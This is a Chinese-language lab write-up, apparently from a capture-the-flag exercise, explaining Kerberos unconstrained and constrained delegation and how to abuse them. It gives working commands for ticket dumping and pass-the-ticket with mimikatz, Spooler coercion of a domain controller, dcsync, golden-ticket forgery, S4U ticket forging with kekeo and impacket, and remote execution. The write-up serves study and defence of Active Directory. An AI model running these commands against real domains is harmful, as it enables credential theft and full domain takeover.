参考文章1 参考文章—xz社区

这个是在打春秋云镜的Certify的靶机的时候遇到的知识点 上一篇是写了RBCD 现在的话把其他两个补齐

(这里的话复现的话就直接搬别人的截图了 这里就不搭建环境复现了)

简介

这里的话 怎么发现约束委派和非约束委派的用户和计算机就不写了

就写利用方式

原理说明

  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION

  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

发现域中委派的用户或计算机一般使用的手段是通过LDAP协议(全称:LightweightDirectory Access Protocol)然后通过userAccountControl属性筛选出符合的用户或计算机,我们可以通过ADSI(全称:ActiveDirectory Service Interfaces Editor)来编辑和修改LDAP,adsiedit.msc可以打开ADSI编辑器,打开之后我们找到一个设置了非约束委派的用户,可以看到userAccountControl属性包含了TRUSTED_FOR_DELEGATION

image-20230930153644543

然后我们再看一下约束委派的用户,同样它的userAccountControl属性包含了TRUSTED_TO_AUTH_FOR_DELEGATION,但是它比非约束委派的用户多了一个msDS-AllowedToDelegateTo属性,里面包含了允许委派的服务

image-20230930153759579

注意 : 委派的用户只能是————————-主机用户和服务用户

为什么需要域委派

为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:
用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。

域委派流程

img

一个域内普通用户jack通过Kerberos协议认证到前台WEB服务后,前台运行 WEB服务的服务账号websvc模拟(Impersonate)用户 jack,以Kerberos 协议继续认证到后台服务器,从而在后台服务器中获取jack用户的访问权限,即域中单跳或者多跳的Kerberos认证。

  • 域内用户 jack 以 Kerberos 方式认证后访问 Web 服务器;

  • Web服务以websvc服务账号运行,websvc向KDC发起jack用户的票据申请;

  • KDC检查websvc用户的委派属性,如果被设置,则返回jack用户的可转发票据 TGT;

  • websvc收到jack用户TGT后,使用该票据向KDC申请访问文件服务器的服务票据ST;

  • KDC检查websvc的委派属性,如果被设置,且申请的文件服务在允许的列表清单中,则返回一个jack用户访问文件服务的授权票据 ST;

  • websvc收到的jack用户的授权票据ST后,可访问文件服务,完成多跳认证。

委派类型

一是非约束性委派(Unconstrained Delegation) ,服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务

二是约束性委派(Constrained Delegation) ,即Kerberos的扩展协议 S4U2Proxy,服务账号只能获取某用户的ST,从而只能模拟用户访问特定的服务

非约束委派的利用

概述

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

非约束委派的请求过程(图来自微软手册):

image-20230930155439169

上图的Kerberos请求描述分为如下步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
1. 用户向`KDC`发送`KRB_AS_REQ`消息请求可转发的`TGT1`。

2. KDC在`KRB_AS_REP`消息中返回`TGT1`。

3. 用户根据步骤2中的TGT1请求转发TGT2。

4. KDC在KRB_TGS_REP消息中为user返回TGT2。

5. 用户使用步骤2中返回的TGT1向KDC请求Service1的ST(Service Ticket)

6. TGS在KRB_TGS_REP消息中返回给用户service1的ST。

7. 用户发送KRB_AP_REQ消息请求Service1,KRB_AP_REQ消息中包含了TGT1和Service1的ST、TGT2、TGT2的SessionKey

8. service1使用用户发送过来的的TGT2,并以KRB_TGS_REQ的形式将其发送到KDC,以用户的名义请求service2的ST。

9. KDC在KRB_TGS_REP消息中返回service2到service1的ST,以及service1可以使用的sessionkey。ST将客户端标识为用户,而不是service1。

10. service1通过KRB_AP_REQ以用户的名义向service2发出请求。

11. service2响应service1的请求。

12. 有了这个响应,service1就可以在步骤7中响应用户的请求。

13. 这里的TGT转发委派机制没有限制service1使用的TGT2是来自哪个服务,所以service1可以以用户的名义向KDC索要任何其他服务的票证。

14. KDC返回步骤13中请求的ST

15-16. service1以用户的名义来请求其它服务

TGT1(forwardable TGT)用于访问Service1TGT2(forwarded TGT)用于访问Service2

操作

操作环境:

  • 域:qiyou.com
  • 域控:windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator
  • 域内主机:windows server 2008R2,主机名:DM2008,IP:192.168.141.183,用户:qiyou

:在Windows系统中,只有服务账号和主机账号的属性才有委派功能,普通用户默认是没有的

现在我们将DM2008这个主机用户设置为非约束委派

image-20230930155737452

然后我们以administrator的身份通过WinRM服务远程连接DM2008

:常见的连接方式还有:MSSQL和IIS,不过我们这里为了方便演示就直接用WinRM了

image-20230930155754988

这个时候域管理员的TGT已经缓存在DM2008了,我们用mimikatz即可dump出来

1
2
privilege::debug 
sekurlsa::tickets /export

image-20230930155920433

可以看到[0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi即为域管理administrator的TGT

此时我们访问域控是被拒绝的

image-20230930155938080

然后通过ptt将TGT注入到当前会话中

1
kerberos::ptt [0;1622d8]-2-0-60a00000-Administrator@krbtgt-QIYOU.COM.kirbi

成功访问

image-20230930160007761

注意:访问域控要用主机名或者是FQDN,使用IP还是会提示拒绝访问

image-20230930160032710

这里将域管理员的TGT票据注入到本机内存中后 那么我们就拥有了域管理员的权限了

如果想执行命令的话,我们可以用WinRM服务来远程连接域控服务器

1
Enter-PSSession -ComputerName WIN-QFPHJSM1L7G
  • -ComputerName指定主机名
  • 如果你WinRM服务端口改了的话,可以用-Port指定WinRM端口,默认是5985

image-20230930160204322

Windows Server 2012及以上默认是开启WinRM服务的,Windows Server 2008 R2需要winrm quickconfig -q来启动WinRM服务,还要注意一点就是这条命令运行后会自动添加防火墙策略,防火墙默认会放行5985端口的。(这里的话是给被控主机开启这个WinRM服务)

非约束委派+Spooler打印机服务

如果只是单纯的非约束委派话需要管理员主动连接,所以在实战环境利用比较鸡肋。

利用非约束委派+Spooler打印机服务可以强制指定的主机进行连接,这个利用场景是tifkin_enigma0x3harmj0yDerbyCon 2018提出的

演讲PPT:地址

利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。

(这里的话重点看利用原理就行了 简单易懂)

Print Spooler服务默认是自动运行的

image-20230930161150298

(用自己电脑搜索就行了 是可以看到是默认开启的)

操作环境:

  • 域:test.local
  • 域控:系统:Windows server 2012R2主机名:DM2012,ip:192.168.141.134
  • 域内主机:系统:windows 10,主机名:win10,ip:192.168.141.165

这个实现了前提是:需要获取一台主机账户开启了非约束委派域内机器的权限

我们给win10这个主机账户开启非约束委派

image-20230930161254235

:是主机账户开启非约束委派,而不是服务用户

tifkin_在他的github上开源了POC:https://github.com/leechristensen/SpoolSample

向DM2012的Spooler服务发送请求,强制其访问win10进行身份验证

1
SpoolSample.exe dm2012 win10

image-20230930161332611

然后使用mimikatz.exe导出域管理员的TGT票据

1
2
3
privilege::debug

sekurlsa::tickets /export

可以发现成功导出来自DM2012$的TGT

image-20230930161430370

得到TGT之后,我们用ptt将票据注入到当前会话后,可以用dcsync导出域控中所有用户的hash,然后用krbtgt用户的hash生成黄金票据

1
2
3
kerberos::ptt [0;862bdd]-2-0-60a10000-DM2012$@krbtgt-TEST.LOCAL.kirbi

lsadump::dcsync /domain:test.local /all /csv

image-20230930161514487

得到krbtgt用户的hash之后生成一张administrator的黄金票据

1
kerberos::golden /user:Administrator /domain:test.local /sid:S-1-5-21-662417213-3583657854-423750704 /krbtgt:683545df56ea57b168d0ad090e209616 /ptt

成功以administrator的身份访问域控

image-20230930161630690

执行命令可以用WinRM服务来远程连接域控

https://forum.butian.net/share/1944 这篇文章的话是总结了目前常用的基于约束委派的强制身份验证漏洞

约束委派的利用

概述

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

约束委派(Constrained Delegation)即 Kerberos 的扩展协议 S4U2Proxy,服务账号只能获取某用户的 TGS ,从而只能模拟用户访问特定的服务,这也相对应非约束委派更安全一些。

  • S4U2self (Service for User to S4U2Self) 可以代表自身请求针对其自身的 Kerberos 服务票据(ST);如果一个服务账户的 userAccountControl 标志为 TRUSTED_TO_AUTH_FOR_DELEGATION, 则其可以代表任何其他用户获取自身服务的 TGS/ST。
  • S4U2proxy(Service for User to Proxy) 可以以用户的名义请求其它服务的 ST,限制了 S4U2proxy 扩展的范围。服务帐户可以代表任何用户获取在 msDS-AllowedToDelegateTo 中设置的服务的 TGS/ST,首先需要从该用户到其本身的 TGS/ST,但它可以在请求另一个 TGS 之前使用 S4U2self 获得此 TGS/ST。

S4U2self

(1) 用户向 service1 发送请求。用户已通过身份验证,但 service1 没有用户的授权数据。通常,这是由于身份验证是通过 Kerberos 以外的其他方式验证的。

(2) 通过 S4U2self 扩展以用户的名义向 KDC 请求用于访问 service1 的 ST1。

(3) KDC 返回给 service1 一个用于用户验证 service1 的 ST1,该 ST1 可能包含用户的授权数据。

(4) service1 可以使用 ST 中的授权数据来满足用户的请求,然后响应用户。

尽管 S4U2self 向 service1 提供有关用户的信息,但 S4U2self 不允许 service1 代表用户发出其他服务的请求,这时候就轮到 S4U2proxy 发挥作用了。

S4U2proxy:

(5) 用户向 service1 发送请求,service1 需要以用户身份访问 service2 上的资源。

(6) service1 以用户的名义向 KDC 请求用户访问 service 2的 ST2。

(7) 如果请求中包含 PAC,则 KDC 通过检查 PAC 的签名数据来验证 PAC ,如果 PAC 有效或不存在,则 KDC 返回 ST2 给 service1,但存储在 ST2 的 cname 和 crealm 字段中的客户端身份是用户的身份,而不是 service1 的身份。

(8) service1 使用 ST2 以用户的名义向 service2 发送请求,并判定用户已由 KDC 进行身份验证。

(9) service2 响应步骤 8 的请求。

(10) service1 响应用户对步骤 5 中的请求。

总结

其实约束委派就是限制了S4U2proxy 这一部分 就是只能获取到用户访问服务的ST 不能获取到用户的TGT了

操作

操作环境:

  • 域:qiyou.com
  • 域内主机:windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou
  • 域内主机:DM08

DM08是域内的另外一台主机,下面我们设置了服务用户qiyouDM08cifs服务的委派

image-20230930170007987

概述那里我们讲了在约束委派的情况下,服务用户只能获取某个用户(或主机)的服务的ST,所以只能模拟用户访问特定的服务,是无法获取用户的TGT,如果我们能获取到开启了约束委派的服务用户的明文密码或者NTLM Hash,我们就可以伪造S4U请求,进而伪装成服务用户以任意账户的权限申请访问某服务的ST

简单点讲

就是因为约束委派是不能使用S4U2proxy的 那么服务账户就只能获取到用户的ST 那么如果我们获取到了服务账户的密码或者ntlm的hash值 那么我们就可以进行ST的伪造 从而访问自己想要访问的服务

已经知道服务用户明文的条件下,我们可以用kekeo请求该用户的TGT

1
tgt::ask /user:qiyou /domain:qiyou.com /password:password /ticket:test.kirbi

/user: 服务用户的用户名

/password: 服务用户的明文密码

/domain: 所在域名

/ticket: 指定票据名称,不过这个参数没有生效,可以忽略

image-20230930171523675

得到服务用户TGT:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi

然后我们可以使用这张TGT通过伪造s4u请求以administrator用户身份请求访问dm08 CIFS的ST

1
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

这里能伪造成功是因为这个服务账户的TGT是能访问这个cifs服务 然后我们使用他骗过了域管 然后成功伪造了ST

(能成功伪造这个域管用户Administrator成功的原因是因为这个KDC验证的话是只查找该用户是否存在 并不会判断其身份的可靠性)

S4U2Self获取到的ST1以及S4U2Proxy获取到的dm08 CIFS服务的ST2会保存在当前目录下

然后我们用mimikatz将ST2导入当前会话即可

1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

成功访问到dm08的cifs服务

image-20230930172217655

上面是知道服务用户明文的情况下,kekeo同样也支持使用NTLM Hash

在请求服务用户的TGT那步直接把/password改成/NTLM即可

已知我们服务账号qiyouNTLM hashb4f27a13d0f78d5ad83750095ef2d8ec

1
2
tgt::ask /user:qiyou /domain:qiyou.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec
tgs::s4u /tgt:TGT_qiyou@QIYOU.COM_krbtgt~qiyou.com@QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

image-20230930172252504

1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

image-20230930172318778

如果我们不知道服务用户的明文和NTLM Hash,但是我们有了服务用户登陆的主机权限(需要本地管理员权限),我们可以用mimikatz直接从内存中把服务用户的TGT dump出来

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

image-20230930173327785

sekurlsa::tickets是列出和导出所有会话的Kerberos票据,sekurlsa::ticketskerberos::list不同,sekurlsa是从内存读取,也就是从lsass进程读取,这也就是为什么sekurlsa::tickets /export需要管理员权限的原因。并且sekurlsa::tickets的导出不受密钥限制,sekurlsa可以访问其他会话(用户)的票证。

既然服务用户的TGT导出来了,我们就跳过tgt::ask请求TGT这步,直接tgs::s4u

1
tgs::s4u /tgt:[0;196b1e4]-2-0-60a00000-qiyou@krbtgt-QIYOU.COM.kirbi /user:Administrator@qiyou.com /service:cifs/dm08.qiyou.com

image-20230930173522455

1
kerberos::ptt TGS_Administrator@qiyou.com@QIYOU.COM_cifs~dm08.qiyou.com@QIYOU.COM.kirbi

image-20230930173538750

利用约束委派生成黄金票据

操作环境:

  • 域:qiyou.com
  • 域控:windows server 2008R2,主机名:WIN-QFPHJSM1L7G,IP:192.168.141.145,用户:administrator
  • 域内主机:windows server 2012R2,主机名:DM2012,IP:192.168.141.134,用户:qiyou

我们都知道TGT的生成是由krbtgt用户加密和签名的,如果我们能委派域上的用户去访问TGS,那么就可以伪造任意用户的TGT了,黄金票据通常情况下我们是用krbtgt的hash来伪造TGT,不过我们通过约束委派也能达到同样的效果。

TGS默认的spn是krbtgt/domain name,我们操作环境是krbtgt/QIYOU.COM

krbtgt默认是禁用的而且无法启用,所以我们无法使用界面来添加这个SPN。

我们可以使用powershell来添加

1
2
3
Import-Module ActiveDirectory
$user = Get-ADUser qiyou
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/qiyou.com") }

我们可以用impacket系列的getST向KDC请求administrator的TGT

1
getst.exe -dc-ip 192.168.141.145 -spn krbtgt/qiyou.com -impersonate Administrator qiyou.com/qiyou:password

(解释一下这里的这样干的原因 因为我们添加了服务账户 并且这个服务账户时约束这个krbtgt服务的 然后我们就有了访问这个服务的权限 并且因为这个服务是可以用来生成TGT的 所以我们就可以成功伪造 )

-impersonate:表示伪造用户

-spn:表示我们要委派的服务的spn,这里是TGS

-dc-ip:域控ip

执行之后会在当前目录生成一个缓存文件Administrator.ccache

image-20230930174306259

然后用mimikatz进行ptc(pass the cache),将缓存注入当前会话中

image-20230930174333936

klist查看缓存的票据

image-20230930174346596

访问域控

image-20230930174409252

执行命令的话我们可以用impacket系列或者powershell都可以

1
2
3
wmiexec.exe -no-pass -k administrator@WIN-QFPHJSM1L7G.qiyou.com -dc-ip 192.168.141.145

pth攻击其实也行 先dump出hash 然后再打